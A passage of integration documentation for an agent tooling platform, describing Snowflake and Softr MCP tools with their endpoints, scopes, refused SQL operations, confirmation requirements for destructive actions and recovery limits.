/api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. snowflake_cancel_statement (write) — Cancel a statement that is still running. Snowflake rolls back a cancelled statement, so this is the way to stop a query that is burning warehouse credits. It cannot undo a statement that has already committed — a cancel that arrives too late reports success at the API level and changes nothing. POST /api/v1/tools/snowflake/statement/cancel. Scopes: snowflake:operate. snowflake_clone_table (write) — Make a zero-copy clone of any table this connection can read, INTO the connection's table-creation schema. The copy is instant and costs no storage until one side changes. THE SOURCE MAY BE ANY TABLE; only the destination is confined. That is safe in a way CREATE TABLE AS SELECT is not: a Snowflake clone RETAINS the source's masking and row-access policies, so it cannot be used to produce an unmasked copy of protected data. Use it to get a throwaway copy of production to experiment on. POST /api/v1/tools/snowflake/table/clone. Scopes: snowflake:ddl. snowflake_cortex_analyst (write) — Ask a question in plain language about a semantic view the customer authored, and get back the SQL that answers it. A semantic view is the customer's own definition of what may be asked and how their business terms map to columns, so this is a narrower and better-governed path to data than writing SQL by hand. By default it RETURNS the generated SQL without running it; pass execute=true to run it, in which case the generated statement is put through exactly the same read-only checks as snowflake_run_query before it reaches the warehouse — a model's output is not trusted here just because a model produced it. POST /api/v1/tools/snowflake/cortex/analyst. Scopes: snowflake:cortex. snowflake_cortex_search (write) — Search a Cortex Search service the customer built, and return the matching documents. This is how unstructured data in a Snowflake account is reached — text that no SELECT would find. Read-only: it queries an index and changes nothing. Its cost is Snowflake's per-query search billing, not a warehouse size you chose. POST /api/v1/tools/snowflake/cortex/search. Scopes: snowflake:cortex. snowflake_create_database (write) — Create the scratch database this connection was pointed at. It can only create the database named in the connection's table-creation schema setting — it cannot create a second one, whatever the Snowflake role could reach. Created as TRANSIENT, which means no fail-safe storage and a lower bill; do not use it for anything that must survive. POST /api/v1/tools/snowflake/database/create. Scopes: snowflake:ddl. snowflake_create_schema (write) — Create a schema inside the connection's database. Confined to that one database — it cannot create a schema anywhere else. Note that new schemas are NOT automatically usable for table creation: tables may only be created in the single schema named on the connection. POST /api/v1/tools/snowflake/schema/create. Scopes: snowflake:ddl. snowflake_describe_connection (read) — Report what this connection actually is on the Snowflake side — account, user, active role, warehouse, default database and schema — and whether data changes and table creation are enabled on it. Ask this FIRST when a query fails with a permission or 'no active warehouse' error: it distinguishes a query problem from a connection that was set up with the wrong role. GET /api/v1/tools/snowflake/session. Scopes: snowflake:metadata. snowflake_describe_table (read) — Describe one table or view: every column's name, type, nullability, default and comment. Read this before writing a query rather than guessing column names. Returns no row data and uses no warehouse compute. GET /api/v1/tools/snowflake/table. Scopes: snowflake:metadata. snowflake_drop_database (write, destructive) — DESTRUCTIVE — drop the connection's scratch database and everything in it. Only the database named on the connection. YOU MUST PASS confirm SET TO THE DATABASE NAME: this is not a boolean, it is the name of the thing that will be lost, and the call is refused without it. snowflake_undrop_database restores it, but only inside Snowflake's Time Travel window — one day by default and capped at one day on Standard edition, a setting on the customer's database that Agentic Fabriq cannot read. POST /api/v1/tools/snowflake/database/drop. Scopes: snowflake:ddl. snowflake_drop_dynamic_table (write, destructive) — DESTRUCTIVE — drop one dynamic table in the connection's table-creation schema, removing both its data and its refresh schedule. YOU MUST PASS confirm SET TO THE FULL NAME. Agentic Fabriq cannot CREATE a dynamic table — defining a pipeline that spends compute on a schedule is not something it will do — so there is no inverse here. To stop a pipeline without losing it, use snowflake_suspend_dynamic_table instead. POST /api/v1/tools/snowflake/dynamic-table/drop. Scopes: snowflake:ddl. snowflake_drop_schema (write, destructive) — DESTRUCTIVE — drop a schema inside the connection's database, and every table and view in it. YOU MUST PASS confirm SET TO DATABASE.SCHEMA. snowflake_undrop_schema restores it within the retention window. POST /api/v1/tools/snowflake/schema/drop. Scopes: snowflake:ddl. snowflake_drop_table (write, destructive) — DESTRUCTIVE — drop one table and all its rows, in the connection's table-creation schema only. YOU MUST PASS confirm SET TO THE FULL DATABASE.SCHEMA.TABLE NAME. snowflake_undrop_table restores it within the retention window, which is one day by default. Check what you are about to lose with snowflake_get_table first. POST /api/v1/tools/snowflake/table/drop. Scopes: snowflake:ddl. snowflake_drop_view (write, destructive) — DESTRUCTIVE — drop one view in the connection's table-creation schema. YOU MUST PASS confirm SET TO THE FULL DATABASE.SCHEMA.VIEW NAME. A view holds no rows, so what is lost is the definition — but SNOWFLAKE HAS NO UNDROP VIEW, so unlike a table this cannot be restored at all. Read the definition with snowflake_get_view BEFORE dropping it, and you can re-create it with snowflake_execute_ddl. POST /api/v1/tools/snowflake/view/drop. Scopes: snowflake:ddl. snowflake_execute_ddl (write, destructive) — DESTRUCTIVE — create ONE table, inside the single schema named on this connection. CREATE TABLE with an explicit column list and nothing else: CREATE OR REPLACE, CREATE TABLE AS SELECT, CLONE, external and iceberg and dynamic tables, views, stages, functions, tasks, databases, schemas, DROP and ALTER are all refused, and no setting enables them. CREATE TABLE AS SELECT is refused specifically because it would write an UNMASKED copy of masked data into a new table — Snowflake attaches masking policies to columns, not to values. Every name in the statement must be fully qualified inside the connection's target schema. THERE IS NO UNDO through Agentic Fabriq beyond snowflake_undrop_table, and Snowflake's recovery window is a customer setting Agentic Fabriq cannot read. This tool does nothing unless a target schema is set on the connection itself. POST /api/v1/tools/snowflake/ddl. Scopes: snowflake:ddl. snowflake_execute_task (write, destructive) — DESTRUCTIVE — run one task the customer already defined, now, outside its schedule. The task's body is the customer's, not yours: this triggers work that was going to run anyway, it does not execute anything you supply. It still spends warehouse compute and still writes data through logic Agentic Fabriq never parsed, and there is no un-run. Check snowflake_get_task_complete_graphs afterwards to see what it did. POST /api/v1/tools/snowflake/task/execute. Scopes: snowflake:pipelines. snowflake_execute_write (write, destructive) — DESTRUCTIVE — run ONE data-changing SQL statement against the warehouse. INSERT, UPDATE, DELETE and MERGE only; schema changes (DROP, TRUNCATE, ALTER, COMMENT), privilege changes (GRANT, REVOKE), file and stage operations (COPY, PUT, GET, REMOVE), INSERT OVERWRITE, CALL, EXECUTE IMMEDIATE, SYSTEM$ functions and unparseable statements are refused, and no setting enables them. MERGE is permitted because the alternative — a DELETE call followed by an INSERT call — cannot be made atomic here and is strictly more dangerous. THERE IS NO UNDO: a statement that commits cannot be rolled back through this tool, and Snowflake's own Time Travel is the customer's recovery path, not Agentic Fabriq's. This tool additionally requires data changes to be enabled on the connection itself; if they are not, it refuses and says so. POST /api/v1/tools/snowflake/write. Scopes: snowflake:write. snowflake_explain_query (write) — Show how Snowflake WOULD run a read-only statement, without running it. Returns the query plan — which tables are scanned, in what order, with what estimated row counts — and reads no rows from the table. USE THIS BEFORE AN EXPENSIVE QUERY: it is the only way to find out what a statement will cost before paying for it, and a plan showing a full scan of a large table is a good reason not to run the query at all. The statement goes through exactly the same read-only checks as snowflake_run_query, so this cannot be used to plan a data change. Uses no warehouse compute. POST /api/v1/tools/snowflake/explain. Scopes: snowflake:query. snowflake_get_database (read) — Fetch one database's full properties as structured data — owner, comment, retention window, whether it came from a share, and its creation and drop times. More detail than snowflake_list_databases gives, for one named database. Uses no warehouse compute. GET /api/v1/tools/snowflake/database. Scopes: snowflake:metadata. snowflake_get_dynamic_table (read) — Fetch one dynamic table's definition, target lag, refresh mode and columns. Read the lag before trusting its contents to be current. Uses no warehouse compute. GET /api/v1/tools/snowflake/dynamic-table. Scopes: snowflake:metadata. snowflake_get_role_grants (read) — List the privileges a named role holds — which objects it can read, write or own. The account-wide companion to snowflake_show_grants, which answers the same question about this connection's own role only. Use it to work out whether a connection's role is genuinely least-privilege, and what a narrower one would look like. Read-only. GET /api/v1/tools/snowflake/role/grants. Scopes: snowflake:identity. snowflake_get_schema (read) — Fetch one schema's full properties — owner, comment, retention window, whether it is managed-access or transient. Uses no warehouse compute. GET /api/v1/tools/snowflake/schema. Scopes: snowflake:metadata. snowflake_get_statement_status (read) — Check a statement Agentic Fabriq started earlier and report its status, returning its rows if it has finished. ALSO READS FURTHER PAGES: a large result is split into partitions, and partition_count in any result says how many there are — pass partition=1, 2, … to read past the first. Use this only with a statement_handle a previous Snowflake tool call returned; handles are not guessable and this tool cannot reach a statement started by anything else. GET /api/v1/tools/snowflake/statement. Scopes: snowflake:operate. snowflake_get_table (read) — Fetch one table's full definition as structured data — every column with its type, nullability, default, collation and comment, plus the table's clustering key, row count and bytes. Richer and easier to parse than snowflake_describe_table, which returns Snowflake's DESCRIBE row shape. Returns no row data and uses no warehouse compute. GET /api/v1/tools/snowflake/table-details. Scopes: snowflake:metadata. snowflake_get_task (read) — Fetch one task's definition, schedule, warehouse, predecessors and current state. Uses no warehouse compute. GET /api/v1/tools/snowflake/task. Scopes: snowflake:metadata. snowflake_get_task_complete_graphs (read) — List the runs of this task's graph that have finished, with each run's state, start and end time and error message. THIS IS THE DIAGNOSTIC READ: when a downstream table is stale, this says whether the pipeline that fills it succeeded, failed or was skipped, and why. Uses no warehouse compute. GET /api/v1/tools/snowflake/task/complete-graphs. Scopes: snowflake:metadata. snowflake_get_task_current_graphs (read) — List the runs of this task's graph that are executing or scheduled right now. Use this to tell 'it is still running' from 'it never started'. Uses no warehouse compute. GET /api/v1/tools/snowflake/task/current-graphs. Scopes: snowflake:metadata. snowflake_get_user (read) — Fetch one Snowflake user's properties. Never returns credential material: Snowflake reports whether a password or key is set, not the value. Read-only. GET /api/v1/tools/snowflake/user. Scopes: snowflake:identity. snowflake_get_view (read) — Fetch one view, including the SQL it is defined by and its columns. Reading a view's definition is how to learn the shape of governed data without querying it — a view is often the customer's own curated slice of a table an agent should not read directly. Uses no warehouse compute. GET /api/v1/tools/snowflake/view. Scopes: snowflake:metadata. snowflake_get_warehouse (read) — Fetch one warehouse's size, state, cluster counts, auto-suspend and auto-resume settings. Ask this before running an expensive query: the size is the multiplier on what that query costs. Uses no warehouse compute and does not start the warehouse. GET /api/v1/tools/snowflake/warehouse. Scopes: snowflake:metadata. snowflake_list_cortex_search_services (read) — List the Cortex Search services in one schema, with the columns each one indexes. A search service name is not guessable, so run this before snowflake_cortex_search. Uses no warehouse compute. GET /api/v1/tools/snowflake/cortex/search-services. Scopes: snowflake:cortex. snowflake_list_databases (read) — List the databases this Snowflake connection's role can see, each with its name, owner, comment and creation time. START HERE: every other Snowflake tool identifies objects by NAME, and Snowflake names are case-sensitive as returned here — pass them back exactly as given. Uses no warehouse compute. GET /api/v1/tools/snowflake/databases. Scopes: snowflake:metadata. snowflake_list_databases_detailed (read) — List databases as structured data, with owner, comment, retention window and origin. Richer than snowflake_list_databases, which returns Snowflake's SHOW row shape, and it can be filtered and paged. Uses no warehouse compute. GET /api/v1/tools/snowflake/databases-detailed. Scopes: snowflake:metadata. snowflake_list_dynamic_tables (read) — List the dynamic tables in one schema, with each one's target lag, refresh mode, warehouse and scheduling state. A dynamic table is a query Snowflake keeps materialised; its lag is how stale its data may be. Uses no warehouse compute. GET /api/v1/tools/snowflake/dynamic-tables. Scopes: snowflake:metadata. snowflake_list_functions (read) — List the user-defined functions in one schema, with each one's arguments and return type. Discovery only — calling a schema-qualified function from snowflake_run_query is refused, because a user-defined function runs with its owner's privileges and may reach the network from inside the warehouse. Uses no warehouse compute. GET /api/v1/tools/snowflake/functions. Scopes: snowflake:metadata. snowflake_list_pipes (read) — List the pipes in one schema, with each pipe's target table and notification channel. A pipe is the customer's continuous ingestion definition. Uses no warehouse compute. GET /api/v1/tools/snowflake/pipes. Scopes: snowflake:metadata. snowflake_list_procedures (read) — List the stored procedures in one schema. Discovery only: CALL is refused on a Snowflake connection in every mode, because a procedure executes SQL Agentic Fabriq never parsed under a role Agentic Fabriq did not choose. Uses no warehouse compute. GET /api/v1/tools/snowflake/procedures. Scopes: snowflake:metadata. snowflake_list_role_grantees (read) — List who holds a named role — which users and which other roles. The other direction from snowflake_get_role_grants, and the one that answers 'if this role is over-privileged, who is affected'. Read-only. GET /api/v1/tools/snowflake/role/grantees. Scopes: snowflake:identity. snowflake_list_roles (read) — List the Snowflake account's roles. Read-only: Agentic Fabriq cannot create a role, and cannot change any privilege in any mode — privilege changes are refused on a Snowflake connection whatever an agent has been granted. GET /api/v1/tools/snowflake/roles. Scopes: snowflake:identity. snowflake_list_schemas (read) — List the schemas in one database. Pass the database name exactly as snowflake_list_databases returned it. Uses no warehouse compute. GET /api/v1/tools/snowflake/schemas. Scopes: snowflake:metadata. snowflake_list_schemas_detailed (read) — List one database's schemas as structured data, with owner, retention window and whether each is managed-access or transient. Uses no warehouse compute. GET /api/v1/tools/snowflake/schemas-detailed. Scopes: snowflake:metadata. snowflake_list_streams (read) — List the streams in one schema, with each stream's source object, type and whether it is stale. A stream is a change feed over a table; a stale one means a pipeline has stopped consuming it. Uses no warehouse compute. GET /api/v1/tools/snowflake/streams. Scopes: snowflake:metadata. snowflake_list_tables (read) — List the tables and views in one schema, with each object's row count and size in bytes where Snowflake reports them. Uses no warehouse compute. GET /api/v1/tools/snowflake/tables. Scopes: snowflake:metadata. snowflake_list_tables_detailed (read) — List one schema's tables as structured data, with row counts, bytes, clustering keys and comments, filterable and pageable. Returns no row data and uses no warehouse compute. GET /api/v1/tools/snowflake/tables-detailed. Scopes: snowflake:metadata. snowflake_list_tasks (read) — List the tasks in one schema, with each task's schedule, state and warehouse. Tasks are the customer's scheduled data pipelines; this is where 'did last night's load run' starts. Uses no warehouse compute. GET /api/v1/tools/snowflake/tasks. Scopes: snowflake:metadata. snowflake_list_users (read) — List the Snowflake account's users, with each one's login name, display name, default role and last login. READ-ONLY: Agentic Fabriq cannot create, alter or disable a user in any mode, because an operation that registers a key or sets a password creates a second way into the account that Agentic Fabriq could not audit or revoke. This is account directory data — treat it as personal information. GET /api/v1/tools/snowflake/users. Scopes: snowflake:identity. snowflake_list_views (read) — List the views in one schema, with each view's owner, comment and whether it is secure or materialised. Uses no warehouse compute. GET /api/v1/tools/snowflake/views. Scopes: snowflake:metadata. snowflake_list_warehouses (read) — List the virtual warehouses this connection's role can see, with each warehouse's size, state and auto-suspend setting. Useful for understanding what a query will cost to run and whether the warehouse is currently suspended. GET /api/v1/tools/snowflake/warehouses. Scopes: snowflake:metadata. snowflake_list_warehouses_detailed (read) — List warehouses as structured data, with size, state, cluster counts and auto-suspend settings. Read this before an expensive query: the size is the multiplier on what it costs. Uses no warehouse compute and starts nothing. GET /api/v1/tools/snowflake/warehouses-detailed. Scopes: snowflake:metadata. snowflake_query_history (read) — List recent queries run by the Snowflake user this connection authenticates as, with each query's text, status, duration and the number of rows it produced. Scoped to that one user — it cannot see another user's queries. Query text may contain the values those queries filtered on. GET /api/v1/tools/snowflake/query-history. Scopes: snowflake:history. snowflake_refresh_dynamic_table (write, destructive) — DESTRUCTIVE — refresh one dynamic table now instead of waiting for its target lag. Spends warehouse compute and rewrites the table's contents from its definition, which is the customer's. There is no un-refresh; the previous contents are gone. POST /api/v1/tools/snowflake/dynamic-table/refresh. Scopes: snowflake:pipelines. snowflake_refresh_pipe (write, destructive) — DESTRUCTIVE — ask one pipe to re-scan its stage for files it has not loaded yet. The pipe's definition and its stage are the customer's and are not arguments here, so this cannot be pointed at a location you choose. It loads data into the pipe's target table and there is no un-load. POST /api/v1/tools/snowflake/pipe/refresh. Scopes: snowflake:pipelines. snowflake_rename_table (write) — Rename a table inside the connection's table-creation schema. Reversible by renaming back, so it is not marked destructive — but it BREAKS every view, task and saved query that referred to the old name, and Snowflake will not warn you. POST /api/v1/tools/snowflake/table/rename. Scopes: snowflake:ddl. snowflake_resume_dynamic_table (write) — Resume a suspended dynamic table's refresh schedule. The inverse of snowflake_suspend_dynamic_table. IT RESTARTS SCHEDULED COMPUTE, so it begins spending again from the next refresh. POST /api/v1/tools/snowflake/dynamic-table/resume. Scopes: snowflake:pipelines. snowflake_resume_warehouse (write) — Resume the warehouse this connection uses, so queries can run again. The inverse of snowflake_suspend_warehouse. IT STARTS SPENDING: from the moment it resumes, the warehouse bills for the time it is running, at its configured size. Takes no warehouse name — it operates on the one bound to this connection. POST /api/v1/tools/snowflake/warehouse/resume. Scopes: snowflake:operate_warehouse. snowflake_run_query (read) — Run ONE read-only SQL statement against the warehouse. THIS TOOL IS READ-ONLY AND HAS NO SETTING THAT CHANGES THAT: only SELECT, UNION, INTERSECT and EXCEPT are permitted, and INSERT, UPDATE, DELETE, MERGE, CREATE, DROP, ALTER, TRUNCATE, REVOKE, COPY, PUT, GET, CALL, EXECUTE IMMEDIATE, USE, SYSTEM$ functions, schema-qualified user-defined function calls, the account-wide usage views and anything that cannot be parsed are refused before the request leaves Agentic Fabriq. Data changes are a different tool, snowflake_execute_write, which must be granted separately. Results are capped at max_rows and the response says when more existed. POST /api/v1/tools/snowflake/query. Scopes: snowflake:query. snowflake_show_grants (read) — List the privileges Snowflake has given this connection's active role — which objects it can read, which it can write, and whether it holds anything account-wide. USE THIS TO FIND OUT WHAT THIS CONNECTION CAN ACTUALLY DO: Agentic Fabriq's permissions narrow what an agent may reach through Agentic Fabriq, but the Snowflake role decides what is reachable at all, and Agentic Fabriq cannot narrow it per call. Reports the role Snowflake is actually using, not the one stored in settings. Read-only, no warehouse compute. GET /api/v1/tools/snowflake/grants. Scopes: snowflake:metadata. snowflake_suspend_dynamic_table (write) — Pause a dynamic table's refresh schedule, stopping the compute it spends. The definition is untouched and the current data stays readable — it just stops getting fresher. Reversible with snowflake_resume_dynamic_table. Use this rather than dropping a pipeline that is costing too much. POST /api/v1/tools/snowflake/dynamic-table/suspend. Scopes: snowflake:pipelines. snowflake_suspend_warehouse (write) — Suspend the warehouse this connection uses, stopping its credit burn immediately. This is the only cost-REDUCING action in the Snowflake integration. It takes no warehouse name — it operates on the one bound to this connection and cannot reach any other. AFFECTS OTHER PEOPLE: if this warehouse is shared, their running queries are interrupted and their next query waits for it to start again. Reversible with snowflake_resume_warehouse, and Snowflake resumes it automatically on the next query unless auto-resume has been turned off. POST /api/v1/tools/snowflake/warehouse/suspend. Scopes: snowflake:operate_warehouse. snowflake_swap_tables (write) — Atomically swap two tables in the connection's table-creation schema — each takes the other's name in a single operation with no window where either is missing. THIS IS THE SAFE WAY TO PUBLISH A REBUILT TABLE: build the new one alongside, then swap. It is its own inverse, so swapping the same pair again puts everything back, which is why it needs no confirmation. POST /api/v1/tools/snowflake/table/swap. Scopes: snowflake:ddl. snowflake_undrop_database (write) — Restore a dropped database. The inverse of snowflake_drop_database. Fails if the Time Travel retention window has passed, or if a live database already holds the name. POST /api/v1/tools/snowflake/database/undrop. Scopes: snowflake:ddl. snowflake_undrop_schema (write) — Restore a dropped schema. The inverse of snowflake_drop_schema. POST /api/v1/tools/snowflake/schema/undrop. Scopes: snowflake:ddl. snowflake_undrop_table (write) — Restore a table that was dropped, from Snowflake's Time Travel history. This is the recovery path for a table lost inside this connection's target schema. It cannot overwrite anything — Snowflake refuses it if a live table already holds the name — and it only reaches the one schema named on the connection. It fails if the table was dropped longer ago than the database's retention window, which is a customer setting Agentic Fabriq cannot read and which is one day by default. This tool does nothing unless a target schema is set on the connection itself. POST /api/v1/tools/snowflake/undrop. Scopes: snowflake:ddl. ================================================================================ ## Softr URL: https://www.agenticfabriq.com/integrations/softr Section: Integrated Tools Softr — 28 MCP tools Provider key: softr. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. softr_delete_databases_by_databaseid (write, destructive) — Delete a specific database by its ID. It can only be deleted if it is empty, unless the 'force' parameter is used. via DELETE /databases/{databaseId} DESTRUCTIVE, and `force` decides how destructive. Without it Softr refuses a resource that still has contents and answers 400; with `force=true` it deletes the resource AND everything inside it. There is no undo and no recycle bin in this API. DELETE /api/v1/softr/databases/{databaseId}. Scopes: api. softr_delete_databases_by_databaseid_tables_by_tableid (write, destructive) — Delete a specific table by its ID. It can only be deleted if it is empty, unless the 'force' parameter is used. via DELETE /databases/{databaseId}/tables/{tableId} DESTRUCTIVE, and `force` decides how destructive. Without it Softr refuses a resource that still has contents and answers 400; with `force=true` it deletes the resource AND everything inside it. There is no undo and no recycle bin in this API. DELETE /api/v1/softr/databases/{databaseId}/tables/{tableId}. Scopes: api. softr_delete_databases_by_databaseid_tables_by_tableid_fields_by_fieldid (write, destructive) — Delete a specific field from a table. via DELETE /databases/{databaseId}/tables/{tableId}/fields/{fieldId} DESTRUCTIVE and permanent: Softr's API offers no undo and no recycle bin for what this removes. DELETE /api/v1/softr/databases/{databaseId}/tables/{tableId}/fields/{fieldId}. Scopes: api. softr_delete_databases_by_databaseid_tables_by_tableid_records_by_recordid (write, destructive) — Delete a specific record by its ID. via DELETE /databases/{databaseId}/tables/{tableId}/records/{recordId} DESTRUCTIVE and permanent: Softr's API offers no undo and no recycle bin for what this removes. DELETE /api/v1/softr/databases/{databaseId}/tables/{tableId}/records/{recordId}. Scopes: api. softr_delete_users_by_email (write, destructive) — Delete a user from the specified Softr app via DELETE /v1/api/users/{email}. PERMANENT: the user record is removed and this API offers no way to restore it. Deactivate instead if you only need to stop them signing in -- that is reversible and keeps the record. This tool acts on the Softr APP named by this connection's Softr app domain setting, which is collected when the connection is made and sent as the `Softr-Domain` header -- it is never a tool argument. A connection made without it refuses every users tool by name rather than letting Softr answer an ambiguous 401. The app must be PUBLISHED. This API has no way to list users, so an email address has to come from somewhere else (the Softr users screen, or your own records). DELETE /api/v1/softr/users/{email}. Scopes: api. softr_get_databases (read) — Retrieve a list of all databases accessible to the authenticated user. via GET /databases Every Softr resource is identified by a UUID: list the databases to get a databaseId, list that database's tables for a tableId, and read the table's fields or records for a fieldId or recordId. GET /api/v1/softr/databases. Scopes: api. softr_get_databases_by_databaseid (read) — Retrieve details of a specific database by its ID. via GET /databases/{databaseId} Every Softr resource is identified by a UUID: list the databases to get a databaseId, list that database's tables for a tableId, and read the table's fields or records for a fieldId or recordId. GET /api/v1/softr/databases/{databaseId}. Scopes: api. softr_get_databases_by_databaseid_tables (read) — Retrieve a list of all tables in the specified database. via GET /databases/{databaseId}/tables Every Softr resource is identified by a UUID: list the databases to get a databaseId, list that database's tables for a tableId, and read the table's fields or records for a fieldId or recordId. GET /api/v1/softr/databases/{databaseId}/tables. Scopes: api. softr_get_databases_by_databaseid_tables_by_tableid (read) — Retrieve details of a specific table by its ID. via GET /databases/{databaseId}/tables/{tableId} Every Softr resource is identified by a UUID: list the databases to get a databaseId, list that database's tables for a tableId, and read the table's fields or records for a fieldId or recordId. GET /api/v1/softr/databases/{databaseId}/tables/{tableId}. Scopes: api. softr_get_databases_by_databaseid_tables_by_tableid_fields_by_fieldid (read) — Retrieve details of a specific field. via GET /databases/{databaseId}/tables/{tableId}/fields/{fieldId} GET /api/v1/softr/databases/{databaseId}/tables/{tableId}/fields/{fieldId}. Scopes: api. softr_get_databases_by_databaseid_tables_by_tableid_records (read) — Retrieve a list of all records in the specified table. via GET /databases/{databaseId}/tables/{tableId}/records Offset paging: `offset` skips records and `limit` sets the page size (the sealed API specification defaults it to 10; the reference page's pagination table says the default is 20 and the maximum 200). The reply's `metadata.total` is the total count -- keep paging while `offset < metadata.total`. Record values live in a `fields` object keyed by field ID (a UUID). Pass `fieldNames=true` to key it by the human-readable field name instead, which is usually what an agent wants. GET /api/v1/softr/databases/{databaseId}/tables/{tableId}/records. Scopes: api. softr_get_databases_by_databaseid_tables_by_tableid_records_by_recordid (read) — Retrieve details of a specific record by its ID. via GET /databases/{databaseId}/tables/{tableId}/records/{recordId} Record values live in a `fields` object keyed by field ID (a UUID). Pass `fieldNames=true` to key it by the human-readable field name instead, which is usually what an agent wants. GET /api/v1/softr/databases/{databaseId}/tables/{tableId}/records/{recordId}. Scopes: api. softr_get_databases_by_databaseid_tables_by_tableid_views (read) — Retrieve a list of views for a specific table. via GET /databases/{databaseId}/tables/{tableId}/views GET /api/v1/softr/databases/{databaseId}/tables/{tableId}/views. Scopes: api. softr_patch_databases_by_databaseid_tables_by_tableid_records_by_recordid (write) — Partially update a specific record by its ID. Only the fields provided in the request body will be changed. via PATCH /databases/{databaseId}/tables/{tableId}/records/{recordId} Record values live in a `fields` object keyed by field ID (a UUID). Pass `fieldNames=true` to key it by the human-readable field name instead, which is usually what an agent wants. PATCH /api/v1/softr/databases/{databaseId}/tables/{tableId}/records/{recordId}. Scopes: api. softr_post_databases (write) — Create a new database in the specified workspace. via POST /databases POST /api/v1/softr/databases. Scopes: api. softr_post_databases_by_databaseid_tables (write) — Create a new table in the specified database. via POST /databases/{databaseId}/tables Some field types are computed or system-managed (FORMULA, ROLLUP, LOOKUP, AUTONUMBER, RECORD_ID, CREATED_AT, UPDATED_AT, CREATED_BY, UPDATED_BY) and are read-only; the writable types are SINGLE_LINE_TEXT, LONG_TEXT, CHECKBOX, CURRENCY, DATE, DATETIME, DURATION, EMAIL, SELECT, NUMBER, ATTACHMENT, RATING, LINKED_RECORD, URL, PERCENT, PHONE and USER. Each type takes its own `options` object. POST /api/v1/softr/databases/{databaseId}/tables. Scopes: api. softr_post_databases_by_databaseid_tables_by_tableid_fields (write) — Add a new field to a table. via POST /databases/{databaseId}/tables/{tableId}/fields Some field types are computed or system-managed (FORMULA, ROLLUP, LOOKUP, AUTONUMBER, RECORD_ID, CREATED_AT, UPDATED_AT, CREATED_BY, UPDATED_BY) and are read-only; the writable types are SINGLE_LINE_TEXT, LONG_TEXT, CHECKBOX, CURRENCY, DATE, DATETIME, DURATION, EMAIL, SELECT, NUMBER, ATTACHMENT, RATING, LINKED_RECORD, URL, PERCENT, PHONE and USER. Each type takes its own `options` object. POST /api/v1/softr/databases/{databaseId}/tables/{tableId}/fields. Scopes: api. softr_post_databases_by_databaseid_tables_by_tableid_records (write) — Create a new record in the specified table. via POST /databases/{databaseId}/tables/{tableId}/records Record values live in a `fields` object keyed by field ID (a UUID). Pass `fieldNames=true` to key it by the human-readable field name instead, which is usually what an agent wants. POST /api/v1/softr/databases/{databaseId}/tables/{tableId}/records. Scopes: api. softr_post_databases_by_databaseid_tables_by_tableid_records_search (write) — Search for records in the specified table based on filter, sort, and pagination criteria. via POST /databases/{databaseId}/tables/{tableId}/records/search Offset paging: `offset` skips records and `limit` sets the page size (the sealed API specification defaults it to 10; the reference page's pagination table says the default is 20 and the maximum 200). The reply's `metadata.total` is the total count -- keep paging while `offset < metadata.total`. Record values live in a `fields` object keyed by field ID (a UUID). Pass `fieldNames=true` to key it by the human-readable field name instead, which is usually what an agent wants. POST /api/v1/softr/databases/{databaseId}/tables/{tableId}/records/search. Scopes: api. softr_post_users (write) — Create a user inside the specified Softr app within your account via POST /v1/api/users. Supply the new user's full name and email; if you do not specify a password one will be generated for the user automatically, and `generate_magic_link` decides whether a Magic Link is generated for them. THIS GRANTS A REAL PERSON ACCESS to the customer's published app. This tool acts on the Softr APP named by this connection's Softr app domain setting, which is collected when the connection is made and sent as the `Softr-Domain` header -- it is never a tool argument. A connection made without it refuses every users tool by name rather than letting Softr answer an ambiguous 401. The app must be PUBLISHED. This API has no way to list users, so an email address has to come from somewhere else (the Softr users screen, or your own records). POST /api/v1/softr/users. Scopes: api. softr_post_users_by_email_activate (write) — Re-activate a previously deactivated user in the specified Softr app via POST /v1/api/users/{email}/activate. The user can sign in again and counts toward the plan's user limit once more. This tool acts on the Softr APP named by this connection's Softr app domain setting, which is collected when the connection is made and sent as the `Softr-Domain` header -- it is never a tool argument. A connection made without it refuses every users tool by name rather than letting Softr answer an ambiguous 401. The app must be PUBLISHED. This API has no way to list users, so an email address has to come from somewhere else (the Softr users screen, or your own records). POST /api/v1/softr/users/{email}/activate. Scopes: api. softr_post_users_by_email_deactivate (write, destructive) — Deactivate a user in the specified Softr app via POST /v1/api/users/{email}/deactivate. The vendor: 'Deactivated users cannot log in and don't count toward your plan's user limit, but their record is retained and they can be re-activated later.' Flagged destructive because it locks a real person out of a live app; reversible with the matching activate tool. This tool acts on the Softr APP named by this connection's Softr app domain setting, which is collected when the connection is made and sent as the `Softr-Domain` header -- it is never a tool argument. A connection made without it refuses every users tool by name rather than letting Softr answer an ambiguous 401. The app must be PUBLISHED. This API has no way to list users, so an email address has to come from somewhere else (the Softr users screen, or your own records). POST /api/v1/softr/users/{email}/deactivate. Scopes: api. softr_post_users_by_email_invite (write) — Send an invitation email to an EXISTING user of the specified Softr app via POST /v1/api/users/{email}/invite. The vendor: 'Once invited, the user's status changes to Invited. Note that the app must be published for invitations to be sent.' THIS SENDS MAIL to a real address, so it is not a dry run. This tool acts on the Softr APP named by this connection's Softr app domain setting, which is collected when the connection is made and sent as the `Softr-Domain` header -- it is never a tool argument. A connection made without it refuses every users tool by name rather than letting Softr answer an ambiguous 401. The app must be PUBLISHED. This API has no way to list users, so an email address has to come from somewhere else (the Softr users screen, or your own records). POST /api/v1/softr/users/{email}/invite. Scopes: api. softr_post_users_magic_link_generate_by_email (write) — Generate a Magic Link for the specified user in your Softr app via POST /v1/api/users/magic-link/generate/{email}. TREAT THE REPLY AS A CREDENTIAL: a Magic Link signs its holder into the app as that user without a password, so anyone who sees it is that user. This tool acts on the Softr APP named by this connection's Softr app domain setting, which is collected when the connection is made and sent as the `Softr-Domain` header -- it is never a tool argument. A connection made without it refuses every users tool by name rather than letting Softr answer an ambiguous 401. The app must be PUBLISHED. This API has no way to list users, so an email address has to come from somewhere else (the Softr users screen, or your own records). POST 